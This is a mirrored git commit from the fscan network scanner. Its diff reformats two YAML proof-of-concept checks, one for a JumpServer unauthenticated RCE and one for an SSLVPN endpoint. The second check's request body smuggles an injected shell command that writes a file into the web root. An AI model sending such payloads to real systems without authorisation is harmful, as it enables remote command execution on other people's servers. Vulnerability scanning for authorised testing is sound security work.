mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-25 12:41:53 +08:00
更新指纹,修改poc的bug
This commit is contained in:
@@ -2,7 +2,7 @@ name: poc-yaml-jumpserver-unauth-rce
|
||||
set:
|
||||
r1: randomLowercase(5)
|
||||
rules:
|
||||
- method: GET
|
||||
- method: GET
|
||||
path: /api/v1/users/connection-token/
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
|
||||
@@ -7,7 +7,8 @@ set:
|
||||
rules:
|
||||
- method: POST
|
||||
path: /directdata/direct/router
|
||||
body: {"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="}
|
||||
body: >-
|
||||
{"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="}
|
||||
expression: response.status == 200
|
||||
- method: GET
|
||||
path: /{{r2}}
|
||||
|
||||
Reference in New Issue
Block a user